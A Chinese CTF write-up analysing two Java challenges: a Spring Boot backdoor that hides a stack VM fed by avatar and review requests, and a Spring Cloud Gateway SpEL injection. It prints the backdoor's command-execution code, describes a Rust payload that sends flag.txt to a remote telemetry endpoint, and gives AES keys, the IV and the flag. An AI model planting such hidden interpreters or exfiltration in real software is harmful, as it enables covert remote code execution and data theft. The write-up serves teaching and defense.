第三届“长城杯”网数智安全大赛(防护赛)Java题Writeup与教学分析
题目一:notjavaweb (Spring Boot 后门分析)
1. 题目背景
题目提供了一个Spring Boot应用JAR包(movie-review-system-1.0.0.jar)、一个加密payload文件(payload.enc)和网络流量包(traffic.pcap)。解题目标包括:分析后门机制、还原攻击过程、逆向后门程序、解密恶意载荷,最终从流量中提取flag。
2. Spring Boot 后门机制深度分析
2.1 核心组件
1.1 VmContext 类
@Component
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public class VmContext {
private final List<Object> buffer = Collections.synchronizedList(new ArrayList());
public void appendEvent(Object event) { this.buffer.add(event); }
public List<Object> getBuffer() { return new ArrayList(this.buffer); }
public void clear() { this.buffer.clear(); }
}
- 作用:为每个用户会话维护一个
List<Object>缓冲区 - 存储内容:
String或Integer类型的事件 - 会话隔离:通过
@Scope("session")注解实现
1.2 AnalyticsReportGenerator 类(虚拟机实现)
这是整个后门的核心组件,实现了一个基于栈的虚拟机(VM)。generateReport()方法遍历VmContext中的事件列表:
- 当事件为
String时,直接压入栈 - 当事件为
Integer时,作为操作码执行
2.2 VM指令集详解
| 操作码 | 功能 | 栈操作描述 |
|---|---|---|
| 10 | 读取classpath资源到byte[] | 弹出路径字符串,压入资源字节数组 |
| 11 | 数组读取 byte[idx] | 弹出index和byte[],压入data[index] |
| 12 | 数组写入 byte[idx] = val | 弹出value、index、byte[],执行赋值后压回数组 |
| 13 | 按位异或(XOR) | 弹出两个整数,压入(a ^ b)结果 |
| 14 | 乘法与截断 | 弹出两个整数,压入(a * b) & 255 |
| 15 | 写文件 | 弹出路径和字节数组,写入文件 |
| 16 | 执行系统命令 | 弹出命令字符串,执行系统命令 |
| 17 | 获取数组长度 | 查看栈顶字节数组,压入其长度 |
| 18 | 字符串转整数 | 弹出字符串,尝试parseInt后压入 |
| 19 | 复制栈顶 | 复制栈顶元素 |
| 20 | 交换栈顶两个元素 | 交换栈顶两个元素位置 |
| 21 | 无条件跳转 | 文档未详述具体实现,但基于虚拟机设计模式,此类指令通常用于控制流 |
| 22 | 条件跳转(条件为0时跳转) | 同上 |
| 23 | 减法 | 弹出两个整数,压入(a - b) |
| 24 | 加法 | 弹出两个整数,压入(a + b) |
| 25 | Pick(按索引取栈元素) | 弹出索引idx,取栈中第size-1-idx个元素压栈 |
| 26 | Drop(弹出栈顶) | 简单弹出栈顶元素 |
关键指令16(命令执行)实现细节:
case 16:
if (!stack.isEmpty() && stack.peek() instanceof String) {
String cmd = (String)stack.pop();
try {
ProcessBuilder pb;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
pb = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
}
pb.redirectErrorStream(true);
pb.start();
} catch (Exception var10) {
Runtime.getRuntime().exec(cmd);
}
}
break;
2.3 事件参数注入方式
后门通过两种方式向VM缓冲区注入指令:
1. 整数注入(操作码)
- 入口:
UserBehaviorAnalyticsAspect切面 - 触发条件:调用
PUT /api/user/avatar接口 - 参数:
emojiAvatarId(1-26的整数) - 机制:通过
@Before("updateAvatarPointcut()")拦截,将整数添加到VmContext
2. 字符串注入
- 入口:
ReviewController.add()方法 - 触发条件:提交评论时
- 提取规则:从
content参数中提取[...]括号内的内容 - 示例:评论内容
"这部电影很好[secret string]"会注入"secret string"
2.4 触发执行机制
- 触发点:
UserController.logout()方法 - 执行流程:调用
analyticsReportGenerator.generateReport(buffer) - 结果:触发VM执行缓冲区中所有累积的事件序列
3. 攻击流量还原与指令序列分析
3.1 流量特征
从traffic.pcap中提取的HTTP请求序列:
POST /api/login→ 触发vmContext.clear()清空缓冲区POST /api/user/avatar→ 注入emojiAvatarId(整数操作码)POST /api/reviews/add→ 注入括号内的字符串参数POST /api/logout→ 触发VM执行
隐蔽性分析:
- 指令分散在多个正常业务请求中
- 每个请求只携带少量指令片段
- 与正常业务流量混合,难以从WAF或流量设备中识别
- 可进一步加入混淆流量增强隐蔽性
3.2 还原的VM指令序列
通过解析流量包,还原出完整的67条VM指令序列。这个序列实现了以下逻辑:
- 加载
payload.enc加密文件 - 执行解密算法
- 将解密后的二进制写入文件系统
- 执行解密后的程序
4. payload.enc 解密分析
4.1 解密算法推导
通过逆向分析VM指令序列,推导出解密算法。解密脚本核心逻辑基于VM的操作码实现:
- 使用操作码13(XOR)进行异或运算
- 使用操作码14(乘法与截断)进行字节变换
- 通过操作码11和12进行数组读写操作
4.2 解密结果
解密payload.enc后得到:
- 文件大小:3,964,576字节
- 文件类型:ELF x86-64可执行文件
- 开发语言:Rust
- 性质:真正的后门本体
5. ELF二进制逆向分析
5.1 后门主要功能
- 文件读取:读取
/home/ccb/flag.txt - 自定义加密:使用修改版的AES-128-CBC加密
- 数据外传:将加密结果通过POST请求发送到
http://192.168.117.1:9961/api/telemetry
5.2 加密参数定位
| 参数 | 文件偏移 | 值/特征 |
|---|---|---|
| AES密钥(16字节) | 0x5280 | 4a7f2c91b35ed816fa4309cc7be5283d |
| CBC IV(16字节) | 0x5270 | 8e1af65530c974bb2d974e1160daa73c |
| 自定义S-Box(256字节) | 0x6970 | 完整的256字节置换表 |
| Rcon表(11字节) | 0x6a70 | 00 01 02 04 08 10 20 40 80 1b 36 |
| ShiftRows表 | 0x6930 | [0, 3, 1, 2] |
5.3 自定义AES的三处修改
与标准AES-128的区别:
-
自定义S-Box
- 使用非标准AES S-Box
- 自定义的256字节置换表
- 影响SubBytes步骤的字节替换
-
自定义ShiftRows
- 行移位模式为
[0, 3, 1, 2] - 标准AES为
[0, 1, 2, 3] - 影响ShiftRows步骤的行移位操作
- 行移位模式为
-
CBC模式使用自定义IV
- 使用硬编码的16字节IV
- 与标准AES-CBC的IV生成方式不同
6. flag获取与解密
6.1 流量数据提取
从traffic.pcap中定位POST /api/telemetry请求,提取POST body部分作为加密数据。
6.2 解密EXP编写要点
- 实现自定义AES解密算法
- 应用自定义S-Box和ShiftRows
- 使用题目提供的密钥和IV
- 按照CBC模式进行解密
6.3 最终flag
flag{F1n@1ly_Y0u_G0t_Th1s_f1ag_and_f1nd_7h3_TRUTH_D0_Y0u_L1k3_1t?}
题目二:app.jar (Spring Cloud Gateway 表达式注入)
1. 环境分析
题目提供一个从内网拖出的JAR包,经分析为Spring Cloud Gateway应用。
2. 漏洞发现
2.1 未授权配置
解压JAR包后,发现明显的未授权访问配置,这是常见的安全配置错误。
2.2 版本与漏洞关联
依赖分析显示组件版本较新。根据CVE历史记录,重点关注:
- CVE-2025-41243:Spring Cloud Gateway SpEL表达式注入漏洞
- 影响范围:可实现任意文件读取和DoS攻击
- RCE条件:需要配合其他依赖(如h2数据库)进行配置修改的链式利用
3. 漏洞利用分析
3.1 漏洞位置
题目中提到的/analyze接口存在原生反序列化点,但存在以下限制:
- 需要有效的
X-Token头部验证 - 需要特定的反序列化依赖链
- 没有明确的攻击向量提示
3.2 任意文件读取POC
文档未提供具体的任意文件读取POC,但基于CVE-2025-41243的典型利用方式:
- 构造特定的SpEL表达式
- 利用Gateway的路由配置功能
- 通过表达式注入读取服务器文件
4. 攻击链推测
可能的攻击路径:
- 利用未授权访问绕过认证
- 通过SpEL表达式注入实现任意文件读取
- 读取敏感配置文件或凭据
- 结合其他漏洞提权或横向移动
总结与教学要点
1. 后门设计模式
- 指令分散:将恶意指令分散到多个正常业务请求中
- 会话隔离:利用Spring Session隔离不同用户的攻击载荷
- 虚拟机隐藏:通过自定义VM解释器隐藏真实攻击意图
- 流量混淆:与正常业务流量混合,规避检测
2. 逆向工程技巧
- 动态分析:结合流量包还原攻击序列
- 静态分析:反编译JAR分析代码逻辑
- 密码学分析:识别自定义加密算法并实现解密
3. 防御建议
- 输入验证:严格验证用户输入,特别是数字和字符串参数
- 代码审计:关注自定义解释器或虚拟机实现
- 流量监控:检测异常的请求序列模式
- 依赖管理:及时更新存在已知漏洞的组件
- 最小权限:限制应用程序的文件系统访问权限
4. CTF解题思路
- 环境分析:识别提供的文件类型和关联性
- 入口定位:找到漏洞触发点和数据流向
- 逻辑还原:通过动静结合还原完整攻击链
- 工具编写:实现必要的解密或解码工具
- flag提取:从加密数据或网络流量中提取目标信息
此题目结合了Web安全、逆向工程、密码学和流量分析多个领域,是典型的综合性CTF题目设计。